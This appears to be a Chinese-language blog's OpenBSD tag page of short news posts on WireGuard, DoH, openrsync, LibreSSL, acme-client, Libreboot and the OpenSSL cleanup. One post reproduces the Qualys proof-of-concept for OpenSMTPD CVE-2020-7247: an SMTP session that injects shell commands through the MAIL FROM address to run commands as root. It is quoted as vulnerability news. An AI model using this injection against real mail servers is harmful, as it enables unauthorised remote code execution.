Tag: openbsd

WireGuard 的 OpenBSD porting

在「WireGuard patchset for OpenBSD」這邊看到有人試著把 WireGuard 放入 OpenBSD 的消息。

整包 patchset 包括了 kernel 與 userland 的實做，可以在 mailing list 上「WireGuard patchset for OpenBSD」這邊可以看到，整串討論可以在「'WireGuard patchset for OpenBSD' thread - MARC」這邊看到，目前看起來還在 code review 的階段，有看到討論提到應該用 OpenBSD 內已經實做的 Chacha20-Poly1305，所以可能還會需要一些時間...

看起來慢慢的在滲進每個作業系統中，蠻有希望在幾年後成為業界標準...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE，而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit：

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

OpenBSD 關掉 Firefox 預設的 DoH (DNS over HTTPS)

OpenBSD 決定關閉 Firefox 預設的 DoH (DNS over HTTPS)：「DoH disabled by default in Firefox」。

原因是 OpenBSD 的人認為，DoH 本身 ok，但是預設導去 Cloudflare 不 ok：

Disable DoH by default. While encrypting DNS might be a good thing, sending all DNS traffic to Cloudflare by default is not a good idea. Applications should respect OS configured settings. The DoH settings still can be overriden if needed. ok landry@ job@

我覺得這槍開的很好 XD

openrsync

在「openrsync imported into the tree」這邊看到 openrsync 專案進入到 OpenBSD 的 source tree 內。

rsync 是使用 GPLv3 授權，這個授權剛出來的時候，幾個比較大的 BSD 的團隊都有找律師研究過，最後都是做出不要把 GPLv3 的軟體放進 source tree 的建議，但 rsync 算是很好用的工具 (尤其是在效率上)。

看起來 openrsync 這個專案主要的目的就是重新實做出 ISC license 版本的 rsync：

This is an implementation of rsync with a BSD (ISC) license. It's compatible with a modern rsync (3.1.3 is used for testing, but any supporting protocol 27 will do), but accepts only a subset of rsync's command-line arguments.

然後目前只有設計在 OpenBSD 上跑，其他平台可能需要花些時間 porting 修正相容性：

At this time, openrsync runs only on OpenBSD. If you want to port to your system (e.g. Linux, FreeBSD), read the Portability section first.

在 GitHub 上的 Git repository 只是個 mirror，真正在管理程式碼的部份還是使用 CVS：

This repository is a read-only mirror of a private CVS repository. I use it for issues and pull requests. Please do not make feature requests: I will simply close out the issue.

Alpine Linux 決定將 OpenSSL 換成 LibreSSL

之前看到 Alpine Linux 是從 Docker 這邊看到的，可以弄出還蠻小巧的 image...

前幾天看到他們宣佈打算將 OpenSSL 換掉，換成 LibreSSL：「[alpine-devel] Alpine edge has switched to libressl」。而且理由也講的頗直接，覺得 OpenSSL 的改善速度還是不滿意，而且市場上有其他還不錯的方案可以選：

While OpenSSL is trying to fix the broken code, libressl has simply removed it.

這樣 LibreSSL 又多了生力軍，之前比較大的應該只有 OpenBSD...

OpenBSD 將 ACME Client (Let's Encrypt Client) 納入系統

看到 OpenBSD 直接把 ACME 協定的 client 放進系統內，而 ACME 也就是 Let's Encrypt 所使用的協定：「Let's Encrypt client imported into -current」：

CVSROOT:	/cvs
Module name:	src
Changes by:	florian@cvs.openbsd.org	2016/08/31 16:01:42

Added files:
	usr.sbin/acme-client: ChangeLog Makefile acctproc.c base64.c 
	                      certproc.c chngproc.c dbg.c dnsproc.c 
	                      extern.h fileproc.c http.c http.h jsmn.c 
	                      jsmn.h json.c keyproc.c letskencrypt.1 
	                      main.c netproc.c revokeproc.c rsa.c rsa.h 
	                      sandbox-pledge.c util-pledge.c util.c 

Log message:
Import Kristaps' letskencrypt and call it acme-client in tree.
OK to get it in deraadt@ (and probably beck@)

At least deraadt@, beck@ and otto@ are fine with the name and the
disagreements stopped.

用的是 acme-client，先前叫做 letskencrypt，以 C 開發的 ACME client。

Libreboot 成功的讓 FreeBSD/OpenBSD 開機

Libreboot 是一個 open source 版本的 BIOS/UEFI 替代品：

Libreboot is a free BIOS or UEFI replacement (free as in freedom); libre boot firmware that initializes the hardware and starts a bootloader for your operating system.

而最近的版本則是順利的在沒有修改作業系統來配合 Libreboot 的情況下將 FreeBSD 與 OpenBSD (不過是 kOpenBSD) 開起來了：「Re: [Libreboot] GNU Libreboot, version 20160818 released」。

OpenSSH 降低對 OpenSSL 的相依性

這陣子 OpenSSH 的人努力降低對 OpenSSL 的相依性，目前 (2014-04-29 18:01:49 GMT) 已經拔到把 OpenSSL 拔掉後仍然有數個演算法可用 (離可用還是有一段距離)：

make compiling against OpenSSL optional (make OPENSSL=no);
reduces algorithms to curve25519, aes-ctr, chacha, ed25519;
allows us to explore further options; with and ok djm

Curve25519 用在 ECDH，而 AES-CTR 與 ChaCha20+Poly1305 用在對稱加密，Ed25519 用在非對稱加密，其中三個剛好是一整套 djb 大全集 XD

不過缺了 RSA 還是有點痛啊，看看會不會實做出來吧？

OpenBSD 的 OpenSSL 清理工作

在「One week of OpenSSL cleanup」這篇提到了 OpenBSD 的 committer 最近花了不少時間在清理 OpenSSL (OpenBSD 內的 OpenSSL)。

All combined, there've been over 250 commits cleaning up OpenSSL. In one week.

清理的過程主要是針對 OpenBSD 所支援的平台，所以其他平台的支援都被拔乾淨了。即使如此，清過後的版本重新 porting 到各 Unux-like 平台應該是還蠻有希望的。

在 BSD Commit Log Search 這邊則可以搜尋到 OpenSSL 被清的情況：「http://freshbsd.org/search?project=openbsd&q=libssl」。

花些時間翻一翻，會可以看到 OpenSSL 很多習慣並不好 (尤其是在資安領域)。

像是 OpenSSL 預設居然沒有把所有的 code 都上 -Wall，這點讓人有點... 呃... 要怎麼說呢...：「58c7f6cb678b7e31b80d290b5823b16d70760801」。

然後看到大量的 potential double free fix，呃...

繼續看下去吧，看起來 OpenBSD 這一波 cleanup 應該會再爆出一些安全問題 (多冒出幾個 CVE 出來)。